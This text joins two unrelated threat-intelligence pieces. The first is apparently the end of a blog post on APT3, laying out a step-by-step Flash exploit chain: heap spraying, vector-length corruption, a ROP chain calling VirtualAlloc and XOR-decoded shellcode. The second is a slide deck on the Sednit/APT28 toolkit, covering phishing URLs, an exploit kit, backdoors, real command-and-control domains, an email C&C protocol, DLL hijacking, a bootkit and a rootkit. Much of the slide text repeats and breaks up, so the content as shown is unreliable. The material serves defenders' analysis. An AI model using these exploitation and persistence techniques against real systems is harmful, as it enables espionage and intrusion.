Attach the video to a new NetStream 4.
Spray the heap with Adobe Flash Player Vectors a.
Create a Vector containing 98688 Vectors containing 1022 uints b.
Set the first two dwords in each Vectoruint to 0x41414141, 0x42424242 5.
Create holes for the controlled FLV object a.
Free approximately every 3 rd Vector in the spray 6.
Spray custom class objects for future control transfer a.
Define a new class CustomClass i.
Define a function victimFunction with lots of arguments b.
Create a Vector of 0x100 Vectors of 1007 references to an CustomClass instance 7.
Fetch and play the FLV exploit a.
The FLV file will allocate an attacker controlled object in one of the holes from step 5 b.
The attacker controlled object will overwrite the length field of an adjacent vector 8.
Re-fill holes from step 5 with Vectors as in step 4 9.
Find the corrupted vector a.
Search through Vectors from step 4 b.
Check the length of each Vector to find one that is abnormally large 10.
Corrupt a second Vector (Vector2) a.
Using the corrupted Vector from step 9 to read/write relative memory addresses i.
Search memory for an adjacent vector ii.
Overwrite the length field with 0x3fffffff iii.
Verify that a corrupted vector with length 0x3fffffff now exists in the spray 1.
If not, undo corruption and attempt to corrupt the next vector 11.
Decrypt shellcode and store it and the payload on the heap 12.
Overwrite the CustomClass.victimFunction function pointer a.
Find the sprayed CustomClass object instance references from step 6 b.
The new function is a form of pivot that transfers control to the attacker 13.
Build ROP chain on the stack and call it a.
Find ROP gadgets in memory using Vector2 i.
Including a call to kernel32VirtualAlloc b.
Call the corrupted CustomClass.victimFunction from step 6.a.i i.
Arguments to the function are the gadgets of the ROP chain ii.
They are conveniently pushed onto the stack iii.
Corrupted vtable from step 12 calls a pivot 1.
The pivot just adds to to the stack pointer and returns because the ROP chain is on the stack 14.
ROP chain calls shellcode a.
Call kernel32VirtualAlloc b. jmp to shellcode 15.
Shellcode calls payload a. Shellcode searches memory for the payload, which is stored inside an image b. Shellcode decodes the payload by xoring each byte (that is not 0 or 0x17) with 0x17 Conclusion Once APT3 has access to a target network, they work quickly and they are extremely proficient at enumerating and moving laterally to maintain their access.
Additionally, this group uses zero-day exploits, continually updated custom backdoors, and throwaway CnC infrastructure, making it difficult to track them across campaigns.
Acknowledgements Thank you to the following contributors to this blog Joseph Obed, Ben Withnell, Kevin Zuk, Genwei Jiang, and Corbin Souffrant of FireEye
Visiting The Bear Den A Journey in the Land of (Cyber-)Espionage Joan Calvet Jessy Campos Thomas Dupuy 1 Sednit Group Also know as APT28, Fancy Bear, Sofacy, STRONTIUM, Tsar Team Group of attackers doing targeted attacks since 2006 Mainly interested into geopolitics 2 3 Plan Context The Week Serge Met The Bear The Mysterious DOWNDELPH Speculative Mumblings CONTEXT What kind of group is Sednit?
4 Who Is The Bear After?
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1) We found a list of targets for Sednit phishing campaigns: Operators used Bitly and forgot to set the profile private (feature now removed from Bitly) Around 4,000 shortened URLs during 6 months in 2015 5 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After?
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2) 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After?
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2) parepkyivgmail.com 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After?
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2) parepkyivgmail.com PakistanEmbassyKyiv 6 http://login.accoounts-google.com/url/?continue cGFyZXBreWl2QGdtYWlsLmNvbQdfUGFraXN0 YW4rRW1iYXNzeStLeWl2tel1 Who Is The Bear After?
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2) parepkyivgmail.com PakistanEmbassyKyiv Who Is The Bear After?
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3) Embassies and ministries of more than 40 countries NATO and EU institutions Whos who of individuals involved in Eastern Europe politics: Politicians Activists Journalists Academics Militaries  7 The Bear Has Money A bag full of 0-day exploits: 8 2015 Apr May Jun Jul Aug Sep Oct CVE-2015-3043 (Flash) CVE-2015-1701 (Windows LPE) CVE-2015-2590 (Java) CVE-2015-4902 (Java click-to-play bypass) CVE-2015-7645 (Flash) CVE-2015-2424 (Office RCE) The Bear Can Code Tens of custom-made software used since 2006: Droppers Downloaders Reconnaissance tools Long-term spying backdoors Encryption proxy tool USB CC channel Many helper tools  9 Disclaimers Over the last two years we tracked Sednit closely, but of course our visibility is not exhaustive How do we know it is ONE group?
We dont Our Sednit definition is based on their toolkit and the related infrastructure We do not do attribution (but we point out hints that may be used for that) 10 THE WEEK SERGE MET THE BEAR 11 Who Is Serge?
Code name for an imaginary Sednit target Serge is a government employee with access to sensitive information The chain of events in Serges attack matches several real cases we investigated We use it as a textbook case to present (a part of) the Sednit toolkit 12 13 Monday, 9:30AM Serge Opens an Email 14 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 Legitimate URL Mimicking 15 16 Serge clicks on the URL, and Serge Meets SEDKIT Exploit-kit for targeted attacks Entry-point URLs mimic legitimate URLs Usually propagated by targeted phishing emails (also seen with hacked website  iframe) Period of activity: September 2014 - Now 17 Landing Page (1) Reconnaissance Report Building 18 Landing Page (1) Reconnaissance Report Building 18 Landing Page (1) Reconnaissance Report Building 18 19 Crawling Sedkit 20 21 Serge is selected to be exploited and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer  Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 22 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer  Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 23 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer  Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 24 : At the time SEDKIT dropped them and Visits Sednit Exploits Factory Vulnerability Targeted Application Note CVE-2013-1347 Internet Explorer 8 CVE-2013-3897 Internet Explorer 8 CVE-2014-1510 CVE-2014-1511 Firefox CVE-2014-1776 Internet Explorer 11 CVE-2014-6332 Internet Explorer  Several versions N/A MacKeeper CVE-2015-2590 CVE-2015-4902 Java 0-day CVE-2015-3043 Adobe Flash 0-day CVE-2015-5119 Adobe Flash Hacking Team gift CVE-2015-7645 Adobe Flash 0-day 25 : At the time SEDKIT dropped them Revamping CVE-2014-6332 (a.k.a.
IE Unicorn bug) October 2015: Re-use of public PoC to disable VBScript SafeMode Next stage binary downloaded by PowerShell 26 Revamping CVE-2014-6332 (a.k.a.
IE Unicorn bug) October 2015: Re-use of public PoC to disable VBScript SafeMode Next stage binary downloaded by PowerShell February 2016: No more SafeMode disabling, direct ROP-based shellcode execution Around 400 lines of VBScript, mostly custom 27 28 29 VBScript Framework Functions: addToROP() getROPstringAddress () Code_section_explorer_7 () Code_section_explorer_XP() getNeddedAddresses () addrToHex ()  30 VBScript Framework Functions: addToROP() getROPstringAddress () Code_section_explorer_7 () Code_section_explorer_XP() getNeddedAddresses () addrToHex ()  Have you ever seen this somewhere?
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cuz we dont) 30 31 Exploit downloads a payload and Serge Meets SEDUPLOADER (a.k.a.
JHUHUGIT, JKEYSKW) Downloaded by SEDKIT Two binaries: the dropper and its embedded payload Deployed as a first-stage component Period of activity: March 2015 - Now SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence CVE-2015-1701 (0-day) CVE-2015-2387 (         ) SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Scheduled tasks, Windows service, SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Scheduled tasks, Windows service, SEDUPLOADER DROPPER Workflow Anti- Analysis Payload Dropping Escalating Privileges Payload Persistence Windows COM object hijacking   Win32/COMpfun Shell Icon Overlay COM object Registry key UserInitMprLogonScript JavaScript code executed within rundll32.exe Win32/Poweliks Scheduled tasks, Windows service, SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection CC Successfully Contacted SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy Inject Into Browsers CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders Direct Connection Via Proxy Inject Into Browsers CC Successfully Contacted FAIL SUCCESS SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders SEDUPLOADER PAYLOAD Workflow Network Link Establishment First Stage Report Parsing CC Orders East Side Story printf debugging 46 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM Chain of Events Mon Tue Wed Thu Fri 47 Monday, 10:00AM Serge meets SEDRECO Downloaded by SEDUPLOADER Backdoor with the ability to load external plugins Usually deployed as a second stage backdoor to spy on the infected computer Period of activity : 2012 - Now 48 Dropper Drops encrypted configuration In a file (msd) In the Windows Registry No configuration linked to the payload Configuration Overview Configuration Overview XOR KEY Configuration Overview XOR KEY FIELD SIZES Configuration Overview (Decrypted) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Various timeouts Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Computer name Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Keylogger enabled Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) CC servers Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Operation name (rhst, rhbp, mctf, mtqs) Configuration Overview (Decrypted) (600000, 600000, SERGE-PC, kenlynton.com, softwaresupportsv.com, mtcf, 10000, 600000, 1, updmanager.com, , , , , , , , , , ) Plugins list Payload Payload Payload Payload Payload Payload Payload Payload Payload Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (1) Plugins are DLLs loaded in the same address space Plugins receive arguments from the core: Extending The Core (2) Extending The Core (2) New command 55 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM Chain of Events Mon Tue Wed Thu Fri 56 Monday, 2:00PM Serge Meets XAGENT (a.k.a SPLM, CHOPSTICK) Downloaded by SEDUPLOADER Modular backdoor developed in C with Windows, Linux and iOS versions Deployed in most Sednit operations, usually after the reconnaissance phase Period of activity: November 2012 - Now 57 58 59 Linux XAGENT, compiled in July 2015 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes Derives from Windows version: 59 Linux XAGENT, compiled in July 2015 18,000 lines of code in 59 classes Derives from Windows version: XAGENT major version 2, but matches the logic of currently distributed binaries (version 3) 59 Such Comments 60 - Thats a lot 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 61 main.cpp 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Communication Workflow XAGENT INFECTED COMPUTER 62 Translates messages from modules for the CC server Translates messages from the CC server for modules AgentKernel::run() AgentKernel RemoteShell FSModule Keylogger Channel Controller Modules CC SERVER Unencrypted messages Encrypted messages Channel (HTTP or emails) Communication Workflow XAGENT INFECTED COMPUTER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S POP3S SMTPS CC SERVER Emails Channel (1) Workflow 63 exfilgmail.com ordersgmail.com XAGENT INFECTED COMPUTER USING MailChannel SMTPS POP3S POP3S SMTPS CC SERVER An email-based CC protocol needs to provide: 1.
A way to distinguish CC emails from unrelated emails 2.
A way to bypass spam filters Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 KEY SUBJ_TOKEN   KEY XAGENT_ID  KEY base64 0 5 12 16 Email Channel (2) P2Scheme, a.k.a Level 2 Protocol 64 KEY SUBJ_TOKEN   KEY XAGENT_ID  KEY base64 0 5 12 16 Email Channel (3) Georgian Protocol 65 Email Channel (3) Georgian Protocol 65 Georgian national ID number Email Channel (3) Georgian Protocol 65 Georgian national ID number Hello Email Channel (3) Georgian Protocol 65 Georgian national ID number Hello detailed  timestamp Bonus: XAGENT CC Infrastructure 66 Bonus: XAGENT CC Infrastructure 66 Thank you, Google search engine XAGENT Proxy Server Python code used between April and June 2015 XAGENT Proxy Server Python code used between April and June 2015 12,200 lines of code XAGENT Proxy Server Python code used between April and June 2015 12,200 lines of code Translates email protocol from XAGENT into a HTTP protocol for the CC server: (over HTTP) P3Protocol XAGENT PROXY BACKEND CC SERVER INBOX P2Protocol 68 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Chain of Events Mon Tue Wed Thu Fri 69 Next three days Serge Meets Passwords Extractors SecurityXploded tools (grand classic of Sednit) Cons: usually detected by AV software Custom tools, in particular a Windows Live Mail passwords extractor compiled for Serge: 70 Serge Meets Windows Passwords Extractors From registry hives Deployed with LPE for CVE-2014-4076 Good ol Mimikatz (pi.log) Deployed with LPE for CVE-2015-1701 71 Serge Meets Screenshoter Custom tool to take screenshots each time the mouse moves 72 And Serge Meets XTUNNEL Network proxy tool to contact machines normally unreachable from Internet Period of activity: May 2013 - Now 73 74 SERGES COMPUTER (XTUNNEL INFECTED) COMPUTER A (CLEAN) COMPUTER B (CLEAN) INTERNET INTERNAL NETWORK CC SERVER Initial Situation 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  T T CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  T T RC4 key O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 75 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  T T Offset O in T Proof of knowledge of T RC4 key O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 76 SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  Encryption Handshake D5 47 A4 A4.3F 60 6A 0F 3B 36 04 1C.44 4A C8 BD 80 BE 7B 25.8E E6 FC F2 CD 5D 7F 3A.73 1D 59 A5 2D 35 77 F3.B2 1B DF 7D EE 1D 1C F1.AB 91 87 87  T T OK RC4 key RC4 Key O O CC SERVER COMPUTER A (CLEAN) COMPUTER B (CLEAN) 77 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake RC4-encrypted link COMPUTER A (CLEAN) COMPUTER B (CLEAN) 78 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Encryption Handshake TLS encapsulation (added in 2014) COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) Any kind of TCP-based traffic can be tunneled (PsExec) 79 CC SERVER SERGES COMPUTER (XTUNNEL INFECTED) INTERNET INTERNAL NETWORK Tunnels Opening COMPUTER A (CLEAN) COMPUTER B (CLEAN) Any kind of TCP-based traffic can be tunneled (PsExec) Code Obfuscation (1) Starting in July 2015 XTUNNEL code was obfuscated (which is two months after the Sednit attack against the German parliament, where XTUNNEL was used) 80 Code Obfuscation (1) Starting in July 2015 XTUNNEL code was obfuscated (which is two months after the Sednit attack against the German parliament, where XTUNNEL was used) The obfuscation is a mix of classic syntactic techniques, like insertion of junk code and opaque predicates 80 Code Obfuscation (2) BEFORE AFTER 81 Code Obfuscation (2) BEFORE AFTER 81 Good toy example for automatic desobfuscation magic?
82 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Information exfiltration and lateral movements Chain of Events Mon Tue Wed Thu Fri 83 Friday, 11:00AM Long Term Persistence (1) Special XAGENT copied in Office folder under the name msi.dll 84 Long Term Persistence (2) system32\msi.dll is a legitimate Windows DLL needed by Office applications 85 Long Term Persistence (2) system32\msi.dll is a legitimate Windows DLL needed by Office applications XAGENT msi.dll exports the same function names as the legitimate msi.dll: 85 Long Term Persistence (3) Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking): Loads real msi.dll from system32 Fills its export table with the addresses of the real msi.dll functions Starts XAGENT malicious logic 86 Long Term Persistence (3) Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking): Loads real msi.dll from system32 Fills its export table with the addresses of the real msi.dll functions Starts XAGENT malicious logic Same technique also seen with LINKINFO.dll dropped in C:\WINDOWS 86 87 Serge opens an email leading to SEDKIT, and then SEDUPLOADER 9:30AM SEDRECO deployment 10:00AM XAGENT deployment 02:00PM Long-term persistence method deployment 11:00AM Chain of Events Mon Tue Wed Thu Fri Information exfiltration and lateral movements THE MYSTERIOUS DOWNDELPH What the hell is going on here ?
88 Discovery September 2015 Classic Sednit dropper Shows a decoy document What Is In This Dropper?
The Ultimate Boring Component Delphi downloader, we named it DOWNDELPH (slow clap) Simple workflow: Downloads a config (.INI file) Based on the config, downloads a payload Executes payload Persistence method: Run registry key The Ultimate Boring Component Delphi downloader, we named it DOWNDELPH (slow clap) Simple workflow: Downloads a config (.INI file) Based on the config, downloads a payload Executes payload Persistence method: Run registry key Let The Hunt Begins 2013 DOWNDELPH Sample Dropper Helper Bootkit Installer DOWNDELPH Let The Hunt Begins 2013 DOWNDELPH Sample Dropper Helper Bootkit Installer DOWNDELPH Infects BIOS-based systems Tested on Windows XP/7, 32bit/64bit Never been documented Not So Boring Component Bootkit Installation MBR Legitimate data First sectors before infection 1ST sector Malicious MBR Original MBR (1-byte XOR) Hooks (1-byte XOR) Driver (1-byte XOR  RC4) Legitimate Data First sectors before infection First sectors after infection Bootkit Installation 1ST sector 2ND sector Normal Boot Process Windows 7 x64 BOOTMGR Winload.exe  Real Mode Protected Mode Original MBR Kernel Init Infected Boot Process Windows 7 x64 Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Infected Boot Process Windows 7 x64 Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Malicious MBR Hooks INT 13h handler (low-level read/write operations) Malicious MBR Hooks INT 13h handler (low-level read/write operations) Patches BOOTMGR in memory Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Kernel Init Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Kernel Init BOOTMGR Hook Searches OslArchTransferToKernel() in winload.exe to patch it kd u winloadOslArchTransferToKernel winloadOslArchTransferToKernel: 00000000003381f0 e961fdd5ff      jmp     0000000000097f56 Before: After: Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Kernel Init Bootkit Workflow Infected MBR BOOTMGR Winload.exe Real Mode Protected Mode Original MBR Hook Hook Kernel Init Winload.exe Hook Locates MmMapIoSpace Saves some code in ACPI.sys resources section (and makes the section executable) Hooks ACPIGsDriverEntry Saving Important Information ACPIGsDriverEntry original opcodes 0: kd db rbx  kernel header address 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ.............. b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ............... 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 00 00 00 00 00 00 00 00-00 00 00 00 f8 00 00 00  ................ 00 74 09 00 00 b4 09 cd-21 b8 01 4c cd 21 54 68  .t........L.Th 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode........... 8a 4a 9e 90 ce 2b f0 c3-ce 2b f0 c3 ce 2b f0 c3  .J........... c7 53 73 c3 aa 2b f0 c3-c7 53 63 c3 c5 2b f0 c3  .Ss.....Sc.... ce 2b f1 c3 a2 2b c0 97-8f 00 00 f8 ff ff 30 fc  ............0.
04 00 f2 0f 00 00 48 83-ec 28 4c c3 d4 2b f0 c3  ......H..(L.... c7 53 62 c3 cf 2b f0 c3-c7 53 64 c3 cf 2b f0 c3  .Sb.....Sd.... c7 53 61 c3 20 cd a2 02-00 f8 ff ff ce 2b f0 c3  .Sa.
..........
00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................ 00 00 00 00 00 00 00 00-50 45 00 00 64 86 18 00  ........PE..d... Bootkit physical address MmMapIoSpace address Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Real Mode Protected Mode Original MBR Kernel Init Hook Hook  Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook  ACPI.sys Hook Restores ACPIGsDriverEntry Maps the bootkit physical address into virtual address space by calling MmMapIoSpace Decrypts hidden driver Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Bootkit Workflow Infected MBR BOOTMGR Winload.exe ACPI.sys Bootkit Driver Bootkit user-mode component DOWNDELPH Real Mode Protected Mode Original MBR Kernel Init Hook Hook Hook Why a DLL to load another DLL ?
Who Are You Bootkit?
Missing exported variable in DOWNDELPH Who Are You Bootkit?
Missing exported variable in DOWNDELPH Code sharing with BlackEnergy Relocations fixing DLL injection calling three exports (Entry, ep_data and Dummy)  But Its Not The End of The Story 2014 DOWNDELPH Samples Dropper Helper Kernel Mode Rootkit DOWNDELPH Not So Boring Component Kernel Mode Rootkit (1) Registered as a Windows service Injects DOWNDELPH into explorer.exe (APC) Hides files, folders and registry keys Relies on a set of rules: HIDEDRV: Hide rules rules HIDEDRV: File rules: \Device\[]\dnscli1.dll HIDEDRV: File rules: \Device\[]\FsFlt.sys HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Registry rules: \REGISTRY\[]\FsFlt HIDEDRV: Inject dll: C:\Windows\system32\mypathcom\dnscli1.dll HIDEDRV: Folder rules: \Device\HarddiskVolume1\Windows\system32\mypathcom HIDEDRV: XXXXX rules HIDEDRV: Hide rules rules Kernel Mode Rootkit (2) How It Works Two implementations of the hiding ability: SSDT hooking Minifilter driver Implementation Minifilter Implementation Minifilter Implementation Minifilter Implementation Minifilter Who Are You Rootkit?
